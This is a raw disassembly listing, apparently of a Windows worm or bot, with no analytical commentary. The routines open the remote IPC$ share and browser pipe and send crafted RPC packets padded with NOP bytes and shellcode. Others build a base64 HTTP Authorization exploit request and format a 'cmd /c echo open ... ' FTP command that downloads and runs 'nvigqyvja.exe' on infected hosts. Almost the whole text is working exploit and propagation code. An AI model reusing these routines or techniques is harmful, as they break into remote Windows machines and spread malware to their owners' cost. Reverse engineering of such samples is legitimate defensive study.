cmp [ebp+var_20], 82h
jz short loc_40D01E
loc_40D01A: ; CODE XREF: sub_40CFDF+1Bj
; sub_40CFDF+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40D01E: ; CODE XREF: sub_40CFDF+39j
push [ebp+Size] ; Size
push [ebp+Src] ; Src
push [ebp+arg_0] ; int
call sub_40CF05
add esp, 0Ch
leave
retn
sub_40CFDF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D031 proc near ; CODE XREF: sub_40D07D+2Dp
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul ds:dbl_427688
call __ftol
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul ds:dbl_427680
fstp [esp+10h+var_10]
call _floor
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call __ftol
inc eax
leave
retn
sub_40D031 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40D07D(int,int,__int16,char *Str)
sub_40D07D proc near ; CODE XREF: sub_40D21F+24p
var_4C = qword ptr -4Ch
var_38 = byte ptr -38h
var_2C = dword ptr -2Ch
var_28 = qword ptr -28h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_B = byte ptr 13h
Src = dword ptr 14h
mov eax, offset loc_426DF7
call __EH_prolog
sub esp, 2Ch
mov al, [ebp+arg_B]
push ebx
push esi
push edi
xor edi, edi
lea ecx, [ebp+var_38]
push edi
mov [ebp+var_20], edi
mov [ebp+var_38], al
call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
push 1
pop ebx
push dword ptr [ebp+10h]
mov [ebp+var_4], ebx
call sub_40D031
cmp [ebp+var_2C], eax
pop ecx
jnb short loc_40D0BF
push edi
push eax
lea ecx, [ebp+var_38]
call ?_Grow@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAE_NI_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Grow(uint,bool)
loc_40D0BF: ; CODE XREF: sub_40D07D+36j
cmp [ebp+10h], edi
mov [ebp+var_18], edi
jbe loc_40D1DC
mov ebx, [ebp+10h]
loc_40D0CE: ; CODE XREF: sub_40D07D+156j
cmp dword ptr [ebp+10h], 3
jb short loc_40D0D8
push 3
jmp short loc_40D0EA
; ---------------------------------------------------------------------------
loc_40D0D8: ; CODE XREF: sub_40D07D+55j
cmp dword ptr [ebp+10h], 2
jnz short loc_40D0E2
push 2
jmp short loc_40D0EA
; ---------------------------------------------------------------------------
loc_40D0E2: ; CODE XREF: sub_40D07D+5Fj
cmp dword ptr [ebp+10h], 1
jnz short loc_40D0EB
push 1
loc_40D0EA: ; CODE XREF: sub_40D07D+59j
; sub_40D07D+63j
pop ebx
loc_40D0EB: ; CODE XREF: sub_40D07D+69j
mov dword ptr [ebp+var_28], ebx
mov dword ptr [ebp+var_28+4], edi
fild [ebp+var_28]
push ecx
push ecx ; double
fmul ds:dbl_427698
fstp [esp+4Ch+var_4C]
call _ceil
pop ecx
pop ecx
call __ftol
cmp ebx, edi
mov [ebp+var_1C], eax
jbe short loc_40D12A
mov esi, [ebp+arg_4]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp+var_10]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
xor edi, edi
loc_40D12A: ; CODE XREF: sub_40D07D+93j
mov cl, [ebp+var_10]
mov dl, [ebp+var_10]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp+var_14], cl
mov cl, [ebp+var_F]
sar cl, 4
and cl, 0Fh
add [ebp+arg_4], ebx
shl dl, 4
add cl, dl
mov dl, [ebp+var_F]
mov [ebp+var_13], cl
mov cl, [ebp+var_E]
sar cl, 6
and dl, 0Fh
sub [ebp+10h], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp+var_12], cl
mov cl, [ebp+var_E]
and cl, 3Fh
cmp eax, edi
mov [ebp+var_11], cl
jbe short loc_40D198
add [ebp+var_18], eax
loc_40D17C: ; CODE XREF: sub_40D07D+119j
movsx eax, [ebp+esi+var_14]
lea ecx, [ebp+var_38]
mov al, byte_43245C[eax]
push eax ; char
push 1 ; Size
call ?append@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ID@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char)
inc esi
cmp esi, [ebp+var_1C]
jb short loc_40D17C
loc_40D198: ; CODE XREF: sub_40D07D+FAj
cmp [ebp+var_18], 48h
jb short loc_40D1B6
push [ebp+Src] ; Str
call _strlen
pop ecx
push eax ; Size
lea ecx, [ebp+var_38]
push [ebp+Src] ; Src
call sub_40D50A
mov [ebp+var_18], edi
loc_40D1B6: ; CODE XREF: sub_40D07D+11Fj
push 4
pop esi
cmp [ebp+var_1C], esi
jnb short loc_40D1D0
sub esi, [ebp+var_1C]
loc_40D1C1: ; CODE XREF: sub_40D07D+151j
push 3Dh ; char
push 1 ; Size
lea ecx, [ebp+var_38]
call ?append@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ID@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char)
dec esi
jnz short loc_40D1C1
loc_40D1D0: ; CODE XREF: sub_40D07D+13Fj
cmp [ebp+10h], edi
ja loc_40D0CE
push 1
pop ebx
loc_40D1DC: ; CODE XREF: sub_40D07D+48j
mov esi, [ebp+arg_0]
mov al, [ebp+var_38]
push edi
mov ecx, esi
mov [esi], al
call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
push ds:dword_427690
lea eax, [ebp+var_38]
mov ecx, esi
push edi
push eax
call ?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ABV12@II@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint)
mov [ebp+var_20], ebx
and byte ptr [ebp+var_4], 0
push ebx
lea ecx, [ebp+var_38]
call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
mov ecx, [ebp+var_C]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40D07D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D21F proc near ; CODE XREF: .text:0040D41Cp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = word ptr 10h
arg_C = byte ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
mov eax, offset sub_426E14
call __EH_prolog
sub esp, 10h
push ebx
push esi
push edi
push offset byte_43D808 ; Str
lea eax, [ebp+var_1C]
push dword ptr [ebp+arg_8] ; __int16
xor ebx, ebx
mov [ebp+var_4], ebx
push [ebp+arg_4] ; int
push eax ; int
call sub_40D07D
mov eax, [ebp+arg_14]
mov ecx, [ebp+var_14]
mov byte ptr [ebp+var_4], 1
lea esi, [ecx+eax+36h]
push esi ; Size
call _malloc
mov edi, eax
add esp, 14h
cmp edi, ebx
jnz short loc_40D269
xor bl, bl
jmp short loc_40D2AD
; ---------------------------------------------------------------------------
loc_40D269: ; CODE XREF: sub_40D21F+44j
mov ecx, [ebp+var_18]
mov eax, offset dword_4276A0
cmp ecx, ebx
jnz short loc_40D277
mov ecx, eax
loc_40D277: ; CODE XREF: sub_40D21F+54j
cmp [ebp+arg_10], ebx
jz short loc_40D27F
mov eax, [ebp+arg_10]
loc_40D27F: ; CODE XREF: sub_40D21F+5Bj
push ecx
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi ; Count
push edi ; Dest
call __snprintf
add esp, 14h
push ebx
push esi
push edi
push [ebp+arg_0]
call dword_4CB6A4 ; send
cmp eax, esi
jz short loc_40D2A4
xor bl, bl
jmp short loc_40D2A6
; ---------------------------------------------------------------------------
loc_40D2A4: ; CODE XREF: sub_40D21F+7Fj
mov bl, 1
loc_40D2A6: ; CODE XREF: sub_40D21F+83j
push edi
call sub_41B0B1
pop ecx
loc_40D2AD: ; CODE XREF: sub_40D21F+48j
and byte ptr [ebp+var_4], 0
push 1
lea ecx, [ebp+var_1C]
call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
or [ebp+var_4], 0FFFFFFFFh
push 1
lea ecx, [ebp+arg_C]
call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
mov ecx, [ebp+var_C]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40D21F endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 420h
and byte ptr [ebp-420h], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp-41Fh]
push 8Fh
rep stosd
stosw
stosb
lea eax, [ebp-420h]
push offset dword_432608
push eax
call _memcpy
add esp, 0Ch
mov eax, offset Str ; "nvigqyvja.exe"
push eax
push eax
movzx eax, word ptr dword_4CB390
push eax
push dword ptr [ebp+8]
call sub_40AC10
pop ecx
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
lea eax, [ebp-391h]
push 400h
push eax
call __snprintf
add eax, 90h
push eax
lea eax, [ebp-420h]
push eax
push 164h
lea eax, [ebp-8]
push offset aSvwfbA ; "SVWfì€"
push eax
call sub_40CADB
xor esi, esi
add esp, 30h
cmp [ebp-4], esi
jnz short loc_40D378
xor eax, eax
jmp loc_40D4A4
; ---------------------------------------------------------------------------
loc_40D378: ; CODE XREF: .text:0040D36Fj
mov [ebp-0Ch], esi
loc_40D37B: ; CODE XREF: .text:0040D47Bj
test esi, esi
jnz loc_40D481
push 6
push 1
push 2
call ds:dword_427220 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40D469
xor eax, eax
lea edi, [ebp-1Ah]
stosd
push dword ptr [ebp+0A8h]
stosd
stosd
stosw
mov word ptr [ebp-1Ch], 2
call dword_4CB654 ; htons
mov [ebp-1Ah], ax
lea eax, [ebp+0Ch]
push eax
call dword_4CB694 ; inet_addr
mov [ebp-18h], eax
lea eax, [ebp-1Ch]
push 10h
push eax
push ebx
call dword_4CB5FC ; connect
cmp eax, 0FFFFFFFFh
jz loc_40D45E
cmp dword ptr [ebp+0A8h], 50h
jnz short loc_40D426
mov al, [ebp+0C3h]
sub esp, 10h
mov esi, esp
mov [ebp-20h], esp
push 0
mov ecx, esi
mov [esi], al
call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
lea eax, [ebp+0Ch]
push eax
call _strlen
pop ecx
push eax
lea eax, [ebp+0Ch]
push eax
mov ecx, esi
call ?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBDI@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *,uint)
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40D21F
add esp, 1Ch
jmp short loc_40D45B
; ---------------------------------------------------------------------------
loc_40D426: ; CODE XREF: .text:0040D3E4j
cmp dword ptr [ebp+0A8h], 8Bh
jnz short loc_40D440
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40CFDF
jmp short loc_40D458
; ---------------------------------------------------------------------------
loc_40D440: ; CODE XREF: .text:0040D430j
cmp dword ptr [ebp+0A8h], 1BDh
jnz short loc_40D45E
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40CF05
loc_40D458: ; CODE XREF: .text:0040D43Ej
add esp, 0Ch
loc_40D45B: ; CODE XREF: .text:0040D424j
movzx esi, al
loc_40D45E: ; CODE XREF: .text:0040D3D7j
; .text:0040D44Aj
push ebx
call dword_4CB6EC ; closesocket
test esi, esi
jnz short loc_40D474
loc_40D469: ; CODE XREF: .text:0040D394j
push 3E8h
call ds:dword_427078 ; Sleep
loc_40D474: ; CODE XREF: .text:0040D467j
inc dword ptr [ebp-0Ch]
cmp dword ptr [ebp-0Ch], 2
jl loc_40D37B
loc_40D481: ; CODE XREF: .text:0040D37Dj
lea ecx, [ebp-8]
call sub_40C900
test esi, esi
jz short loc_40D4A2
mov eax, [ebp+0B0h]
shl eax, 6
inc dword_431B08[eax]
lea eax, dword_431B08[eax]
loc_40D4A2: ; CODE XREF: .text:0040D48Bj
mov eax, esi
loc_40D4A4: ; CODE XREF: .text:0040D373j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426DD8
loc_40D4A9: ; CODE XREF: sub_426DD8+3j
; sub_426DE0+11j ...
push 1
call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
retn
; END OF FUNCTION CHUNK FOR sub_426DD8
; [00000059 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char). PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_40D50A(void *Src,size_t Size)
sub_40D50A proc near ; CODE XREF: sub_40D07D+131p
Src = dword ptr 4
Size = dword ptr 8
mov eax, ds:dword_427690
push ebx
mov ebx, [esp+4+Size]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40D524
call sub_42669A
loc_40D524: ; CODE XREF: sub_40D50A+13j
test ebx, ebx
jbe short loc_40D559
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call ?_Grow@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAE_NI_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Grow(uint,bool)
test al, al
jz short loc_40D559
mov eax, [esi+8]
push ebx ; Size
push [esp+10h+Src] ; Src
add eax, [esi+4]
push eax ; Dst
call _memcpy
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_40D559: ; CODE XREF: sub_40D50A+1Cj
; sub_40D50A+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40D50A endp
; [000000CE BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint). PRESS KEYPAD "+" TO EXPAND]
; [00000085 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Grow(uint,bool). PRESS KEYPAD "+" TO EXPAND]
; [0000003C BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool). PRESS KEYPAD "+" TO EXPAND]
; [00000035 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *,uint). PRESS KEYPAD "+" TO EXPAND]
; [00000067 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::erase(uint,uint). PRESS KEYPAD "+" TO EXPAND]
; [000000BD BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Copy(uint). PRESS KEYPAD "+" TO EXPAND]
; [00000030 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Split(void). PRESS KEYPAD "+" TO EXPAND]
; [00000021 BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40D89B proc near ; DATA XREF: .data:0042900Co
jmp $+5
sub_40D89B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40D8A0 proc near
mov eax, dword_4328C0
add eax, 6
mov dword_4CE374, eax
retn
sub_40D8A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40D8AE(int,char,int,__int16,int,size_t Size,int,void *Src,int,int,char)
sub_40D8AE proc near ; CODE XREF: sub_40D8AE+D0p
; sub_40D99C+471p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_7 = byte ptr 0Fh
arg_C = word ptr 14h
Size = dword ptr 1Ch
Src = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = byte ptr 30h
arg_2B = byte ptr 33h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_28], 0
push ebx
push esi
push edi
jz short loc_40D8C2
or [ebp+arg_7], 1
jmp short loc_40D8C6
; ---------------------------------------------------------------------------
loc_40D8C2: ; CODE XREF: sub_40D8AE+Cj
and [ebp+arg_7], 0FEh
loc_40D8C6: ; CODE XREF: sub_40D8AE+12j
mov ecx, [ebp+arg_24]
mov ebx, [ebp+arg_20]
movzx eax, cx
lea edx, [ebx+18h]
cmp edx, eax
ja short loc_40D8EA
or [ebp+arg_7], 2
and [ebp+arg_2B], 0
lea eax, [ebx+18h]
mov [ebp+Size], ebx
mov [ebp+arg_C], ax
jmp short loc_40D8FC
; ---------------------------------------------------------------------------
loc_40D8EA: ; CODE XREF: sub_40D8AE+26j
add eax, 0FFFFFFE8h
and [ebp+arg_7], 0FDh
mov [ebp+arg_C], cx
mov [ebp+Size], eax
mov [ebp+arg_2B], 1
loc_40D8FC: ; CODE XREF: sub_40D8AE+3Aj
movzx eax, [ebp+arg_C]
push eax ; Size
mov [ebp+var_4], eax
call _malloc
test eax, eax
pop ecx
mov [ebp+arg_20], eax
jz loc_40D995
push 6
lea esi, [ebp+arg_4]
pop ecx
mov edi, eax
rep movsd
mov edi, [ebp+Size]
mov esi, [ebp+Src]
push edi ; Size
add eax, 18h
push esi ; Src
push eax ; Dst
call _memcpy
add esp, 0Ch
lea eax, [ebp+var_8]
push 0
push eax
push [ebp+var_4]
push [ebp+arg_20]
push [ebp+arg_0]
call ds:dword_4270E0 ; WriteFile
test eax, eax
jz short loc_40D98C
mov eax, [ebp+var_4]
cmp [ebp+var_8], eax
jnz short loc_40D98C
push [ebp+arg_20]
call sub_41B0B1
cmp [ebp+arg_2B], 0
pop ecx
jz short loc_40D988
push 0 ; char
sub ebx, edi
push [ebp+arg_24] ; int
add edi, esi
lea esi, [ebp+arg_4]
push ebx ; int
push edi ; Src
sub esp, 18h
push 6
pop ecx
mov edi, esp
push [ebp+arg_0] ; int
rep movsd
call sub_40D8AE
add esp, 2Ch
jmp short loc_40D997
; ---------------------------------------------------------------------------
loc_40D988: ; CODE XREF: sub_40D8AE+B3j
mov al, 1
jmp short loc_40D997
; ---------------------------------------------------------------------------
loc_40D98C: ; CODE XREF: sub_40D8AE+9Cj
; sub_40D8AE+A4j
push [ebp+arg_20]
call sub_41B0B1
pop ecx
loc_40D995: ; CODE XREF: sub_40D8AE+61j
xor al, al
loc_40D997: ; CODE XREF: sub_40D8AE+D8j
; sub_40D8AE+DCj
pop edi
pop esi
pop ebx
leave
retn
sub_40D8AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40D99C(size_t Size,int)
sub_40D99C proc near ; CODE XREF: .text:0040DF9Ap
var_60F0 = qword ptr -60F0h
var_60DC = byte ptr -60DCh
var_40DC = byte ptr -40DCh
Dest = byte ptr -20DCh
Dst = byte ptr -0DCh
var_C8 = dword ptr -0C8h
var_BC = byte ptr -0BCh
var_B8 = byte ptr -0B8h
var_B7 = byte ptr -0B7h
var_B6 = byte ptr -0B6h
var_B5 = byte ptr -0B5h
var_B4 = dword ptr -0B4h
var_B0 = word ptr -0B0h
var_AE = word ptr -0AEh
var_AC = dword ptr -0ACh
var_A8 = word ptr -0A8h
var_A6 = word ptr -0A6h
var_A4 = dword ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = word ptr -9Ch
var_9A = byte ptr -9Ah
var_98 = byte ptr -98h
var_88 = dword ptr -88h
var_84 = byte ptr -84h
var_74 = dword ptr -74h
Src = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = word ptr -60h
var_5C = byte ptr -5Ch
var_4C = dword ptr -4Ch
var_48 = byte ptr -48h
var_47 = byte ptr -47h
var_46 = byte ptr -46h
var_45 = byte ptr -45h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = qword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
Size = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 60DCh
call __alloca_probe
push ebx
push esi
push edi
push offset a__0 ; "."
push [ebp+Size]
call unknown_libname_4 ; Microsoft VisualC 2-8/net runtime
pop ecx
xor ebx, ebx
test eax, eax
pop ecx
jz short loc_40DA0F
push [ebp+Size]
mov esi, 2000h
lea eax, [ebp+Dest]
push offset aSIpc ; "\\\\%s\\ipc$"
push esi ; Count
push eax ; Dest
call __snprintf
push 20h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
lea eax, [ebp+Dest]
add esp, 1Ch
mov [ebp+var_C8], eax
mov eax, offset byte_43D808
push ebx
push eax
push eax
lea eax, [ebp+Dst]
push eax
call sub_426750
jmp short loc_40DA14
; ---------------------------------------------------------------------------
loc_40DA0F: ; CODE XREF: sub_40D99C+23j
mov esi, 2000h
loc_40DA14: ; CODE XREF: sub_40D99C+71j
push [ebp+Size]
lea eax, [ebp+var_40DC]
push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_40DC]
push ebx
push 40000000h
push 3
push ebx
push 3
push 0C0000000h
push eax
call ds:dword_4270EC ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_40DA58
loc_40DA51: ; CODE XREF: sub_40D99C+194j
; sub_40D99C+36Aj ...
xor al, al
jmp loc_40DE9C
; ---------------------------------------------------------------------------
loc_40DA58: ; CODE XREF: sub_40D99C+B3j
push 48h ; Size
lea eax, [ebp+var_B8]
push ebx ; Val
push eax ; Dst
call _memset
push 10h
mov [ebp+var_B8], 5
pop eax
mov [ebp+var_B7], bl
push 1
mov [ebp+var_B4], eax
pop edi
mov [ebp+var_B6], 0Bh
push eax ; Size
lea eax, [ebp+var_98]
push offset dword_432914 ; Src
push eax ; Dst
mov [ebp+var_B5], 3
mov [ebp+var_B0], 48h
mov [ebp+var_AE], bx
mov [ebp+var_AC], ebx
mov [ebp+var_A8], 10B8h
mov [ebp+var_A6], 10B8h
mov [ebp+var_A4], ebx
mov [ebp+var_A0], edi
mov [ebp+var_9C], bx
mov [ebp+var_9A], 1
call _memcpy
push 10h ; Size
lea eax, [ebp+var_84]
push offset dword_432900 ; Src
push eax ; Dst
mov [ebp+var_88], 3
call _memcpy
add esp, 24h
lea eax, [ebp+var_BC]
mov [ebp+var_74], 2
push ebx
push eax
lea eax, [ebp+var_B8]
push 48h
push eax
push [ebp+var_4]
call ds:dword_4270E0 ; WriteFile
test eax, eax
jnz short loc_40DB35
loc_40DB27: ; CODE XREF: sub_40D99C+265j
push [ebp+var_4]
call ds:dword_427068 ; CloseHandle
jmp loc_40DA51
; ---------------------------------------------------------------------------
loc_40DB35: ; CODE XREF: sub_40D99C+189j
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_60DC]
push esi
push eax
push [ebp+var_4]
call ds:dword_4270E8 ; ReadFile
push ebx ; Time
call _time
push eax
call sub_41B8D8
push 14h ; Size
lea eax, [ebp+Src]
push 41h ; Val
push eax ; Dst
call _memset
push 1Ch ; Size
lea eax, [ebp+var_30]
push 41h ; Val
push eax ; Dst
call _memset
add esp, 20h
call _rand
mov esi, [ebp+arg_4]
mov [ebp+Src], eax
mov [ebp+var_64], edi
mov [ebp+var_68], ebx
lea esi, [esi+esi*4]
mov [ebp+var_6C], edi
shl esi, 2
mov [ebp+var_60], bx
cmp byte_4328A8[esi], bl
jz short loc_40DBAC
push 4
mov [ebp+var_24], edi
mov [ebp+var_28], ebx
mov [ebp+var_2C], edi
push offset dword_4CE37C
jmp short loc_40DBBF
; ---------------------------------------------------------------------------
loc_40DBAC: ; CODE XREF: sub_40D99C+1FCj
push 2
mov [ebp+var_28], ebx
pop eax
push 4 ; Size
mov [ebp+var_24], eax
mov [ebp+var_2C], eax
push offset dword_4328F8 ; Src
loc_40DBBF: ; CODE XREF: sub_40D99C+20Ej
lea eax, [ebp+var_20]
push eax ; Dst
call _memcpy
add esp, 0Ch
call _rand
mov edi, 0FAh
cdq
mov ecx, edi
idiv ecx
inc edx
mov [ebp+var_30], edx
call _rand
cdq
idiv edi
mov eax, dword_43289C[esi]
mov [ebp+var_18], ebx
push eax ; Size
mov [ebp+Size], eax
inc edx
mov [ebp+var_1C], edx
call _malloc
mov edi, eax
pop ecx
cmp edi, ebx
jz loc_40DB27
mov eax, [ebp+Size]
add eax, 0FFFFFFFEh
push eax ; Size
push 90h ; Val
push edi ; Dst
call _memset
mov eax, [ebp+Size]
push 2 ; Size
push ebx ; Val
lea eax, [edi+eax-2]
push eax ; Dst
call _memset
mov eax, dword_4328A4[esi]
push 7 ; Size
add eax, edi
push offset dword_432890 ; Src
push eax ; Dst
mov [ebp+arg_4], eax
call _memcpy
mov eax, [ebp+arg_4]
push 15Ch ; Size
add eax, 7
push offset dword_432730 ; Src
push eax ; Dst
call _memcpy
mov eax, dword_4328A0[esi]
add esp, 30h
cmp byte_4328A8[esi], bl
mov [ebp+arg_4], eax
jz short loc_40DCB8
push 4 ; Size
add eax, edi
push offset dword_4CE374 ; Src
push eax ; Dst
call _memcpy
add [ebp+arg_4], 0Ch
mov esi, offset dword_4328C0
mov eax, [ebp+arg_4]
push 4 ; Size
add eax, edi
push esi ; Src
push eax ; Dst
call _memcpy
mov eax, [ebp+arg_4]
push 4 ; Size
push esi ; Src
lea eax, [eax+edi+24h]
push eax ; Dst
mov [ebp+arg_4], eax
call _memcpy
mov eax, [ebp+arg_4]
push 4 ; Size
add eax, 0Ch
push esi ; Src
push eax ; Dst
call _memcpy
add esp, 30h
jmp short loc_40DCE0
; ---------------------------------------------------------------------------
loc_40DCB8: ; CODE XREF: sub_40D99C+2CDj
add eax, edi
mov [ebp+var_8], 10h
mov [ebp+arg_4], eax
mov esi, offset dword_4328C0
loc_40DCC9: ; CODE XREF: sub_40D99C+342j
push 4 ; Size
push esi ; Src
push [ebp+arg_4] ; Dst
call _memcpy
add [ebp+arg_4], 4
add esp, 0Ch
dec [ebp+var_8]
jnz short loc_40DCC9
loc_40DCE0: ; CODE XREF: sub_40D99C+31Aj
mov eax, [ebp+Size]
add eax, 42h
push eax ; Size
call _malloc
mov esi, eax
pop ecx
cmp esi, ebx
mov [ebp+var_8], esi
jnz short loc_40DD0B
push [ebp+var_4]
call ds:dword_427068 ; CloseHandle
push edi
call sub_41B0B1
pop ecx
jmp loc_40DA51
; ---------------------------------------------------------------------------
loc_40DD0B: ; CODE XREF: sub_40D99C+358j
mov eax, [ebp+Size]
add eax, 42h
push eax ; Size
push ebx ; double
push esi ; Dst
call _memset
lea eax, [ebp+Src]
push 14h ; Size
push eax ; Src
push esi ; Dst
call _memcpy
mov eax, [ebp+Size]
mov dword ptr [ebp+var_10+4], ebx
mov dword ptr [ebp+var_10], eax
add esp, 10h
fild [ebp+var_10]
fmul ds:flt_4276A4
fstp [esp+60F0h+var_60F0]
call _ceil
call __ftol
push [ebp+Size] ; Size
mov [esi+1Ch], eax
mov [esi+18h], ebx
mov eax, [esi+1Ch]
mov [esi+14h], eax
lea eax, [esi+20h]
push edi ; Src
push eax ; Dst
call _memcpy
mov eax, [ebp+Size]
add esp, 14h
add eax, 20h
test al, 3
